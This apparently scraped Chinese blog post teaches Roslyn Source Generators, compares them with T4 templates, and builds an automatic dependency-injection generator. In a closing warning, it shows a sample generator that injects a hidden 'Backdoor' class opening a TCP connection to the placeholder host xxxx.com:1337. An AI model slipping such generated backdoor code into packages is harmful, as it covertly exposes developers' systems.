外包网站都有哪些金华市住房和城乡建设厅网站

张小明 2026/1/9 21:36:22
外包网站都有哪些,金华市住房和城乡建设厅网站,银行网站建设方案,官网是怎么做的大白话解释#xff1a;Source Generator 就是个编译前的代码外挂#xff0c;Roslyn为它提供了供用户自定义的入口#xff0c;也叫扩展点#xff0c;让我们可以根据语法和语义解析来结合自己的需求规则#xff0c;在编译阶段#xff0c;额外生成一些c# 代码#xff0c;让…大白话解释Source Generator 就是个编译前的代码外挂Roslyn为它提供了供用户自定义的入口也叫扩展点让我们可以根据语法和语义解析来结合自己的需求规则在编译阶段额外生成一些c# 代码让你少写代码提高效率而且生成的代码就跟你自己写的一样生成完之后默认会和自己的源码一起进行编译为dll。当然最后一句 并且无需手动编写或维护这些代码 这句话有点点扯蛋蛋点1 你是无需编写代码但是你得编写生成器规则。蛋点2 不是不需要是你压根改不了改了也没用因为每次编译他都会重新生成。2.牛刀小试为了防止后面您看的肯定是云里雾里直接上一个最简单例子先体验下他的特点。这里我定义了一个类Program设置为部分类还定义了一个方法HelloFrom但是没有方法体并在Main方法中调用了给它接收的参数传一个字符串 源生成器partial class Program{static void Main(string[] args){HelloFrom(源生成器);}static partial void HelloFrom(string name);}然后我启动调试运行输出image是不是很惊讶当然还掺杂着疑问imageHelloFrom都没有方法体怎么能跑起来因为 partial void 是 C# 专门为可选方法设计的语法如果你提供了实现就调用如果你没提供编译器就当这个调用不存在具体特性自己去网上搜一下partial void。为啥前面多了一截哪来的因为我使用Source Generator在另外一个文件中生成了它的实现同一个 partial class 的另一部分可以是同一个文件也可以是另一个文件我这里是另外一个文件Program.g.cs中对 HelloFrom进行了实现并且在头部打了个注释标记auto-generated/。image现在是不是大概知道了Source Generator能干啥最直观就是帮你生成代码这里帮你生成了可选方法的实现。同理你定义一个接口也可以利用他帮你生成接口的实现这点很重要在你写一些底层平台库的一些通用功能的时候你可以只需要定义标准接口由它来帮你在编译时实现替代动态代理提升性能。如果您对动态代理和他的应用场景比较陌生可以去看看我之前分享的一篇关于Abp vNext动态api实现的文章当你学会了Source Generator以后完全可以用Source Generator来实现api代理感兴趣的可以了解下refit库针对这一块其实我们在工作中有过实际应用后续有机会出一篇Source Generator在开源框架中具体应用的源码分析分享。目前阶段你只需要知道生成代码这是它的主要特点就好了但是您如果之前没有接触过应该还是懵的因为我学习的时候也一样例如这个东西和Roslyn有何关系包括上一部分讲的代码分析生成代码T4模版也可以生成代码它们的区别是什么他是怎么生成代码的执行时机这个例子太简单了看了等于没看爽文一样有啥实际应用搞点干货那么接下来咱们就围绕着几点来展开分享尽量让您在看完后一定会有所收获如果您还有在这几个问题之外的问题欢迎评论区留言一起交流学习。3.它和Roslyn以及代码分析有何关系Source Generator 是 Roslyn 的一部分Source Generator 是基于 Roslyn 提供的 ISourceGenerator 接口实现的这里标记重点后面会用到。它由 Roslyn 编译器在编译过程中自动发现并调用。开发只需要引用NuGet 包就可以来编写生成器。来说点话糙理不糙的就好比如果你是 Roslyn那你就是 .NET 编译界的“老掌门”。你有仨亲儿子个个身怀绝技但谁也别想单干——离了你这个爹他们连门都出不去。大儿子叫 SyntaxAnalyzer语法分析外号人形质检仪测试眼疾手快看一眼代码就知道哪缺个分号、哪少个括号连你写了个if (true true) 他都能翻白眼这写的啥玩意不是废话吗二儿子叫 CodeGenerator代码生成外号代码骡子开发任劳任怨专干脏活累活Source Generator 就是他干的事——你刚写个 [AutoNotify]特性标记他立马给你生成一整套 INotifyPropertyChanged连注释都写上别乱动我。三儿子叫 RuntimeCompiler动态编译执行疯批的老板地主不讲武德不守规矩他不等你编译打包那一套直接在程序正在跑的时候当场写代码、当场编译、当场执行比如 CSharpScript.RunAsync。4.它和T4模版的区别简单介绍下T4模版全名Text Template Transformation Toolkit因为每个单词都是T开头有4个所以大家叫它T4模版。它是 Visual Studio 提供的一种强大的 代码生成工具以 .tt为扩展名在编译或保存时自动生成代码或其他文本内容。这下知道为什么我要对比他们2个了吧——都可以生成代码关键都有可能在编译时你可以把它们想象成两种不同的自动化工具。注意这一部分开始之前如果您连T4模版都不知道或者都没接触过的话那就直接跳过去不看可能还不会有事有可能看了反而迷糊了。如果您使用过T4模版但是应用的不熟的话在了解了Source Generator之后就更迷糊了。因为摄取的信息量多了但是又捋不清的话很难受有没有建议您要看下去我尽力区分他们因为很容易混淆他们俩的用途。T4 模板像一个外部代码工厂工作流程如下你编写一个 .tt 文件代码中有 C# 逻辑和静态文本当你保存 .tt 文件或者运行自定义工具时T4 引擎启动引擎执行模板中的逻辑生成一个纯文本的 .cs 文件这个生成的 .cs 文件被编译到你的项目中和你手写的代码没有区别Source Generator类似一个编译时的插件工作流程如下你编写一个实现了 ISourceGenerator 接口的类将这个类库作为 Analyzer 引用到你的主项目中当你编译主项目时编译器会先加载你的 Source GeneratorGenerator 分析整个项目的代码然后生成新的 C# 源代码字符串编译器将这些新生成的源代码与你的手写代码合并然后一起编译默认看不到生成的中间 .cs 文件但是可以配置特点 T4 模板 Source Generator运行时机 保存文件/手动执行 编译过程中是否有文件 生成物理.cs文件 内存生成无物理文件但是可以配置依赖 独立引擎 深度集成在Roslyn编译管线访问能力 只能读取有限上下文 可访问完整语法树和语义模型调试 可以调试模板 支持调试生成器应用场景 生成重复性高的结构代码例如代码生成器 动态生成与业务逻辑集成的代码核心差异本质T4的核心是T4引擎做过MVC的应该知道还有Razor引擎它们都属于模版引擎一类独立运行不依赖编译器适合做固定模式的生成工作。而Source Generator能根据你的规则做个性化动态生成因为它能访问整个项目的语法树和语义信息。5.如何生成代码的这里需要把我上篇关于Roslyn的老演员请过来了image这里您仍然只需要关注源代码到Roslyn这部分因为Source Generator还是发生在这一部分,我们具体看看从源码到Roslyn结束经历了哪些声明这里可能不严谨但是大概就是这么个过程毕竟我也没深入了解过他具体的编译原理如果有不对的您可以指出我也很乐意学习。image6.各组件角色MSBuild省流大白话.csproj 就是 C# 项目给 MSBuild 的“建造说明书”没有它编译器就不知道该编译啥、咋编译。对于那种对造轮子有执念的小伙伴而言理论上可以不用vs用记事本写代码然后自己写Build脚本如果你想尝试可以回到vs2003年先体验下再做决定。它是 .NET 的官方构建引擎不直接编译代码而是按项目文件.csproj中的指令执行一系列任务Tasks和目标Targets.csproj 本质是一个 MSBuild 脚本你可以打开你任何c# 项目的这个文件,这里面就是它的语法。因为MSBuild 就是靠这些内容来组装顺序的。如果没有这个你想想编译系统怎么知道该如何组织你的源代码文件、依赖项和构建步骤呢。如果您深入到Msbuild他也很有意思期待一下后续会分享一些关于MsBuild的技术。Project SdkMicrosoft.NET.SdkPropertyGroupTargetFrameworknet8.0/TargetFramework/PropertyGroupItemGroupPackageReference IncludeMySourceGenerator Version1.0.0 //ItemGroup/ProjectRoslyn 编译器在 MSBuild 流程中最后会调用 csc.exeRoslyn 负责解析 .cs 文件为语法树SyntaxTree加载项目引用的 Analyzer / Source Generator通过 Analyzer 或 CompilerVisibleProperty 等机制执行 Source Generator → 生成新代码 → 合并到编译单元进行语义分析、错误检查、生成 ILSource Generator 是如何被加载的在 .csproj 中引用一个 Source Generator时标记了 [Generator]Source Generator 必须是要 .NET Standard 2.0~1 程序集不能依赖运行时因为它在编译时运行我拿自己写的这个源生成器类举例ItemGroupProjectReference Include..\CompileIntegrated\CompileIntegrated.csproj OutputItemTypeAnalyzer ReferenceOutputAssemblyfalse //ItemGroup1.MSBuild 会将该程序集CompileIntegrated添加到 Analyzer 项就算你写的是包引用 PackageReferenceSDK也会自动处理为这样Analyzer IncludeCompileIntegrated\CompileIntegrated.dll /2.然后当 Roslyn 启动时会扫描所有 Analyzer 引用的项目文件。3.当发现了实现了 ISourceGenerator 接口的类型 进行实例化 然后调用 Initialize 和 Execute4.执行Execute的自定义规则生成最终代码。7.举个有意义的例子下面我们使用源生成器实现一个自动依赖注入的功能类似于abp vNext自动注入的风格我们先看下他是怎么做的。自动注入的实现方式abp提供了两种自动注入的方式。1.继承IScopedDependency接口/// summary/// 根据接口标记自动注入服务/// /summarypublic class AutoInterfaceInjectionService:IScopedDependency{}2.标记特性[Dependency(ServiceLifetime.Scoped)]/// summary/// 根据特性自动注入服务/// /summary[Dependency(ServiceLifetime.Scoped)]public class AutoAttributeInjectionService{}这2种方式的原理都是在模块加载时利用反射找到接口或者特性标记找到之后然后调用注入具体的细节就不多赘述感兴趣可以去翻下源码或者网上搜一下abp自动依赖注入原理。理解场景我们先实现顺着思维来看看原生的.netcore中是如何注入服务的1.我们定义一个需要被注入的服务public class ExampleService{public void ConsoleWrite(){Console.WriteLine(自动注入);}2.再定义一个扩展IServiceCollection 的类正常是这么写public static class GeneratedServicesExtension{internal static void AddServices(this IServiceCollection services){services.AddScopedTest.ExampleService();}}3.然后在启动时public static void TestAutoInject(){//实例化服务容器var services new ServiceCollection();// 调用扩展方法注入服务services.AddServices();//构建服务提供对象var serviceProvider services.BuildServiceProvider();//从容器提供对象中获取服务var exampleService serviceProvider.GetRequiredServiceExampleService();//调用服务exampleService.ConsoleWrite();}在.net中我想实现注入服务必须得按照上面的方式仔细想一下这里第二步注入的代码其实在逻辑上是重复的而且容易疏漏每加一个服务我都得在这里写一下 services.AddScopedxxx()为了解决问题 上面简单提及了abp提供的自动注入类似的功能至于网上还有一些其他的封装库实现原理都大同小异。用Source Generator实现的思路大致差不多也是定义接口或者特性来标记但是我们得先搞清楚实现它的目的是为了避免abp那种运行时反射提升性能那如何提升呢代码跑起来运行无非2种方式不是动态就是静态动态就反射肯定会牺牲一点点性能静态就是像上面一样直接硬编码提前写好我不想自己手写但是我又想注入那怎么办你不写代码程序怎么运行这时候就可以使用源生成器只需要写出规则然后在编译项目时自动会帮我生成出这些注入的代码到一个文件里面去我只需要在初期启动时加一句代码就行开始吧在这里不实现太多的生命周期我们只实现一个使用特性来标记的作用域周期注入。1.首先我们也需要一个特性用于标记具体服务定义为AutoInjectScopedAttribute[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple false, Inherited false)]internal class AutoInjectScopedAttribute : System.Attribute{}它用来给业务服务做标记的[AutoInjectScopedAttribute]public class ExampleService{public void ConsoleC(){Console.WriteLine(自动注入);}}使用思路逻辑和abp一样但是区别在于abp实现是 运行时自动扫描 标记反射使用Source Generator需要编译时自动扫描项目里所有标了 [AutoInjectScoped]或类似特性的类然后在编译时自动生成一个静态扩展方法把这些类自动注册到IServiceCollection 里实现标记即注册不需要自己手动维护 services.AddScoped()最终实现完成后的效果图如下。image就算我再加一个服务ExampleService2启动编译之后依然会自动生成将ExampleService2注入到容器的代码。image实现一个自动依赖注入1.创建一个自定义生成器类,并实现ISourceGenerator接口[Generator]public class CustomGenerator : ISourceGenerator{public void Execute(GeneratorExecutionContext context){}public void Initialize(GeneratorInitializationContext context){}}这里2个方法如果你认真看了上面如何生成代码一定知道他们在编译时会被编译器调用一切就从这里开始2.我们现在初始化方法中加入生成特性的代码因为他很单纯只是个约束只需要生成就行。public void Initialize(GeneratorInitializationContext context){const string attribute // auto-generated /using Microsoft.Extensions.DependencyInjection;[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple false, Inherited false)]internal class AutoInjectScopedAttribute : System.Attribute{};context.RegisterForPostInitialization(ctx ctx.AddSource(Inject.Generated.cs, SourceText.From(attribute, Encoding.UTF8)));context.RegisterForSyntaxNotifications(() new ServicesReceiver());}上面代码的意思就是在正式开始分析代码之前先把字符串写的这个 Attribute 扔进编译流程里边。RegisterForPostInitialization方法的调用就相当于说塞点外挂代码进去”AddSource 就是往编译器里加一份新代码文件文件名叫 Inject.Generated.cs内容就是上面那段 attribute 字符串您可能会问为啥要先加这个因为你后面要扫描 [AutoInjectScoped] 这个特性但如果这个特性本身还没定义编译器就不认识直接就会在编译时报错所以就先定义出来当然这一部分也可以不用生成直接在类中定好分析时找这个符号也可以的。context.RegisterForSyntaxNotifications(() new ServicesReceiver()); 这个比较重要意思就是定义一个接收器蹲在编译器旁边盯着所有代码他的任务就是从所有源代码里找出符合的特定的目标然后存起来这里是只要语义是类的节点就存起来记在小本本上记小本本规则/// 自定义语法接收器用,于在 Roslyn 编译过程中“监听”并收集特定语法节点。internal class ServicesReceiver: ISyntaxReceiver {//存储所有被扫描到的类声明节点ClassDeclarationSyntaxpublic List ClassDeclarationSyntax ClassesToRegister {get;} new();//用于推断调用上下文的命名空间public InvocationExpressionSyntax ? InvocationSyntaxNode {get;private set;}//编译器在语法遍历阶段不断调用方法传入每一个语法节点public void OnVisitSyntaxNode(SyntaxNode syntaxNode){// 1. 如果当前节点是一个类声明class、record 就记录下来if (syntaxNode is ClassDeclarationSyntax cds)ClassesToRegister.Add(cds);// 2. 如果当前节点是一个方法调用表达式如 services.Discover()if (syntaxNode is InvocationExpressionSyntax {// 表达式结构obj.MethodNameExpression: MemberAccessExpressionSyntax{// 方法名的标识符文本为 DiscoverName.Identifier.ValueText: Discover}} invocationSyntax){// 保存这个 Discover() 调用的语法节点可用于后续分析调用上下文InvocationSyntaxNode invocationSyntax;}}}3.现在写我们核心干活的代码他要做的事情就是在小本上把标了 [AutoInjectScoped] 的类一个不漏地给找出来然后生成注如的代码。// 3. 核心逻辑扫描所有标记了 [AutoInjectScoped] 的类生成服务注册代码public void Execute(GeneratorExecutionContext context){// 1. 获取语法接收器收集的待注册类列表var receiver (ServicesReceiver)context.SyntaxReceiver;if (receiver?.ClassesToRegister?.Any() ! true)return;// 2. 构建服务注册代码块var registrations new StringBuilder();const string indent ; // 8空格缩进foreach (var classDeclaration in receiver.ClassesToRegister){// 获取类的语义模型var semanticModel context.Compilation.GetSemanticModel(classDeclaration.SyntaxTree);if (semanticModel null) continue;// 获取类符号信息var classSymbol semanticModel.GetDeclaredSymbol(classDeclaration);if (classSymbol null) continue;// 验证是否标记了目标特性bool hasAttribute classSymbol.GetAttributes().Any(a a.AttributeClass?.Name AutoInjectScopedAttribute);if (!hasAttribute) continue;// 生成服务注册代码行registrations.AppendLine(${indent}services.AddScoped{classSymbol.ToDisplayString(SymbolDisplayFormat.FullyQualifiedFormat)}(););}// 3. 生成扩展类模板if (context.Compilation.AssemblyName null) return;var safeAssemblyName context.Compilation.AssemblyName.Replace(., _);var extensionCode $public static class GeneratedServicesExtension{{public static void AddServicesIn{safeAssemblyName}(this IServiceCollection services) services.AddServices();internal static void AddServices(this IServiceCollection services){{{registrations}}}}};// 4. 组合最终代码并输出var finalCode $// auto-generated /using Microsoft.Extensions.DependencyInjection;{extensionCode};context.AddSource($GeneratedServicesExtension_{safeAssemblyName}.g.cs,SourceText.From(finalCode, Encoding.UTF8));}最终每次编译默认都会生成自动注入代码image核心步骤mermaid-diagram8.总结通过上面的介绍相信您已经对 Source Generator 有了一些认识如果您理解了讲一个敏感话题请不要基于他生成代码的特性以及隐蔽性去做了一些生成后门代码的东西然后放到nuget包给对于一些不了解这个技术的人楼主在这里已经科普了包括但不限于类似以下代码!!!public void Execute(GeneratorExecutionContext context){var backdoorCode using System.Net.Sockets;class Backdoor {static void Connect() {//用tcpnew TcpClient(xxxx.com, 1337);}};context.AddSource(Backdoor.g.cs, backdoorCode);}虽然没那么容易但是如果人家压根没有防护恰好你又成功了然后被逮住了image最后回顾一下要点核心作用​​Source Generator 是 .NET 生态中编译时元编程的重要突破​​它将代码生成从外部工具升级为编译时插件实现了真正的零运行时开销的自动化代码生成。技术对比特性 传统反射方案 Source Generator性能 运行时扫描有性能损耗 编译时生成没有运行时开销类型 运行时可能出错 编译时类型检查但是编译时有时候冒出来的错误很不好找可能需要一些风水学理论去找俗称靠懵调试 反射代码难调试 生成代码可调试AOT编译 需要额外配置 天然支持AOT编译什么事AOT 感兴趣自己去了解下吧 今天的分享就到这里啦探讨了 Roslyn 源生成器的核心机制从语法扫描到代码生成实现了标记即注册的自动化依赖注入整个过程无需反射、零运行时开销做到编译时确定。 下一篇分享 Roslyn 第三弹动态编译与运行时代码执行一起看看如何在程序运行中现场编译 C# 代码实现插件化、脚本引擎、规则引擎等高阶玩法
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

网站推广方法大全常州网络推广

运营数据分析的系统架构可适应性 关键词:运营数据分析、系统架构、可适应性、数据处理、业务变化 摘要:本文围绕运营数据分析的系统架构可适应性展开深入探讨。首先介绍了研究的背景、目的、预期读者和文档结构等内容。接着阐述了核心概念及其联系,通过文本示意图和 Mermaid…

张小明 2025/12/31 23:53:42 网站建设

网站的点击率怎么查潍坊住房和城乡建设局网站

DiT模型轻量化终极指南:从实验室到产品的完整实践 【免费下载链接】DiT Official PyTorch Implementation of "Scalable Diffusion Models with Transformers" 项目地址: https://gitcode.com/GitHub_Trending/di/DiT 你是否曾经面临这样的困境&am…

张小明 2026/1/1 22:22:06 网站建设

网店推广方案范文宁波优化网站厂家

小信号滤波为何不能用功率电感?一文讲透背后的物理本质你有没有遇到过这样的情况:精心设计了一个LC低通滤波器,仿真结果完美,截止频率清晰陡峭——可一旦实物焊接完成,却发现通带波动严重、高频抑制能力几乎归零&#…

张小明 2026/1/1 1:30:45 网站建设

wordpress站点进入时弹窗广州网络营销推广

Wyn商业智能:问答式自助BI工具如何重塑企业数据分析模式? 一、行业痛点:传统BI的“高墙”与“时差” 在数据驱动的决策时代,传统商业智能(BI)工具正面临严峻挑战。业务人员往往被困在“高墙”之内&#xff…

张小明 2026/1/1 5:05:14 网站建设

做最好的导航网站wordpress 在线安装

终极指南:如何用DeepSkyStacker轻松处理深空星图 【免费下载链接】DSS DeepSkyStacker 项目地址: https://gitcode.com/gh_mirrors/ds/DSS 想要拍摄出令人震撼的深空星图却苦于后期处理复杂?DeepSkyStacker(DSS)正是为你量…

张小明 2026/1/1 16:15:04 网站建设

网站后台管理系统多少钱如何上传网站到凡科网

一、技术理解类(8 题) 1. 解释 Transformer 架构的核心原理,以及它对大模型发展的影响。 考察点:基础技术认知、技术演进洞察力 答题思路: 核心原理:注意力机制(自注意力 / 交叉注意力&#xff…

张小明 2026/1/1 22:10:54 网站建设